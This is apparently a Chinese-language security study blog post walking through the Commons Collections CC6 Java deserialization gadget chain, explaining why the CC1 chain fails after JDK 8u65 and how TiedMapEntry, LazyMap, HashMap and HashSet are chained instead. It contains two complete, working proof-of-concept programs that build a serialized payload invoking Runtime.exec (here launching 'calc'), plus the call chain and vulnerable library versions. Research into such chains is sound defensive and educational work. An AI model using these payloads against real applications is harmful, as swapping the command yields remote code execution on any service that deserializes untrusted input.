前⾔ 在JDK 8u65以后,官⽅修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject⽅法,导致在⾼版本的Java中 CommonCollections1⽆法利⽤
于是我看了看里面改了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { ObjectInputStream.GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type" , (Object)null ); Map var4 = (Map)var2.get("memberValues" , (Object)null ); AnnotationType var5 = null ; try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap (); String var10; Object var11; for (Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Map.Entry var9 = (Map.Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null ; Class var12 = (Class)var6.get(var10); if (var12 != null ) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy (objectToString(var11))).setMember((Method)var5.members().get(var10)); } } } AnnotationInvocationHandler.UnsafeAccessor.setType(this , var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this , var7); }
因为c1链在TransformedMap中用了setValue方法这里没有了
至于用c1链Laymap中代理类利用点触发点只能是这里了
1 Iterator var8 = var4.entrySet().iterator()
但是在调试过程中发现var4的值被改变了只能另想办法出来Laymap.get()方法了
看了达达师傅的思路,是自己反编译 3.1jar的包,然后全局搜索找到可以用的类
尝试全局搜索map.get而且这个类里面是接了serialzable的接口的
发现有三个类但是重点只看他就行了
org.apache.commons.collections.keyvalue.TiedMapEntry类的getValue⽅法可触发map.get⽅法
1 2 3 4 5 6 7 8 9 10 11 12 public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; } public Object getKey () { return this .key; } public Object getValue () { return this .map.get(this .key); }
然后看哪里用了这个方法,发现有3处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public boolean equals (Object obj) { if (obj == this ) { return true ; } else if (!(obj instanceof Map.Entry)) { return false ; } else { Map.Entry other = (Map.Entry)obj; Object value = this .getValue(); return (this .key == null ? other.getKey() == null : this .key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue())); } } public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public String toString () { return this .getKey() + "=" + this .getValue(); } }
先着⼿hashCode⽅法 我第⼀反应想到了URLDNS链,HashMap.readObejct⽅法最后好像可以⾛到hashCode⽅法,但跟ysoserial给的⼊⼝不⼀样,能否可⾏?
问题1.是在于put函数写了进去会发生什么
问题2.如果我像之前分析URLDNS2一样,随便put进去,然后改table能不能做到
但是那样又太麻烦了怎么办,又想像URLDNS先传值,后改值就好了
因为调用了lazymap,transform方法,导致put时候就开始弹计算器了,要是我一开始弄的是一个转化器让程序不报错,后面再改他的值是不是可行的
如果看不懂链子希望还是重新回去看cc1链和URLDNS链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException { HashMap<Object, Object> hashMap = new HashMap <>(); Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer fakeChain = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), fakeChain); TiedMapEntry entry = new TiedMapEntry (lazyMap, "baicany" ); hashMap.put(entry, "baiacny" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(fakeChain, transformers); lazyMap.clear(); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc6.txt" )); outputStream.writeObject(hashMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc6.txt" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
为什么要clean?
因为跟进put的时候发现将key值改变了,clean清楚这个操作,用remove删除这个key也行,来看看put做了什么
调试发现,原来在这一步
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
因为在我们这个链子中put必会触发hashcode函数,然后也会触发get方法里面的map.put了这样导致了map.key里面有baicany这个key,如果不删除的话就会导致,反序列化的时候这里的if判断为true了
然后进入了下面 map.get(key);就调用的是hashmap的方法了
Hashset ysoserial介绍了java.util.HashSet作为反序列化的⼊⼝,java.util.HashSet.readObject⽅法的最后会触发map.put⽅法
HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();
。HashSet 跟 HashMap 一样,都是一个存放链表的数组。
在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。
1 2 3 4 5 for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); }
为什么想到put,因为之前hashmap的函数还记得我们之前put方法会干嘛吗也会进入putval方法来触发hashcode
所以来想想怎么用这个方法了,怎么想办法把这里map变为Hashmap是第一步,
1 2 3 4 private transient HashMap<E,Object> map; public HashSet () { map = new HashMap <>(); }发现了map初始化确实是hashmap
发现是 transient属性,所以就算能初始化值反序列也没用了,所以看看序列化的时候有没有写值进去
1 2 3 4 5 6 7 8 9 10 11 12 13 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e); }
只能说老火
再看看readObject
1 2 3 4 5 map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); 在给定的代码中,根据 HashSet 是否是 LinkedHashSet 的实例,选择创建一个 LinkedHashMap 或 HashMap 的实例作为底层的 HashMap。LinkedHashMap 是 HashMap 的子类,它保留了插入顺序,而普通的 HashMap 则没有保留插入顺序。
发现了这个会返回一个hashmap
所以下一步分析怎么传值了,这里的e怎么弄出来的
1 2 3 4 5 6 for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
来看writeObject
1 2 3 for (E e : map.keySet()) s.writeObject(e); }
所以会根据keySet()返回值来写入e,跟进hashmap的keyset
1 2 3 4 5 6 7 8 public Set<K> keySet () { Set<K> ks = keySet; if (ks == null ) { ks = new KeySet (); keySet = ks; } return ks; }
继续跟进到最后第一次keySet为null肯定会创造Keyset对象的(自己看)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 final class KeySet extends AbstractSet <K> { public final int size () { return size; } public final void clear () { HashMap.this .clear(); } public final Iterator<K> iterator () { return new KeyIterator (); } public final boolean contains (Object o) { return containsKey(o); } public final boolean remove (Object key) { return removeNode(hash(key), key, null , false , true ) != null ; } public final Spliterator<K> spliterator () { return new KeySpliterator <>(HashMap.this , 0 , -1 , 0 , 0 ); } public final void forEach (Consumer<? super K> action) { Node<K,V>[] tab; if (action == null ) throw new NullPointerException (); if (size > 0 && (tab = table) != null ) { int mc = modCount; for (int i = 0 ; i < tab.length; ++i) { for (Node<K,V> e = tab[i]; e != null ; e = e.next) action.accept(e.key); } if (modCount != mc) throw new ConcurrentModificationException (); } } }
所以在wirte的时候for (E e : map.keySet())会进入forEach方法,就是把每个键值给e就对了
但是hashmap add会触发put 那hashset会不会呢也会
1 2 3 public boolean add (E e) { return map.put(e, PRESENT)==null ; }
所以链子找到了直接写payload
所以只是把之前的payload ,hashcode套了层hashset
开始手搓poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException { HashMap<Object, Object> hashMap = new HashMap <>(); Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer fakeChain = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), fakeChain); TiedMapEntry entry = new TiedMapEntry (lazyMap, "baicany" ); HashSet set = new HashSet <>(); set.add(entry); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(fakeChain, transformers); lazyMap.clear(); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc6.txt" )); outputStream.writeObject(set); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc6.txt" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
利用链 1 2 3 4 5 6 7 8 9 HashSet:readObject()-> Hashmap:put()-> Hashmap:putVal()-> TiedMapEntry:hashcode()-> TiedMapEntry:getKey()-> Lazymap:get()-> Transformer... ->exec()
其实学习C1链和URLDNS就觉得很好理解了,都可以脱离文章自己学分析了
依赖版本 commons-collections : 3.1~3.2.1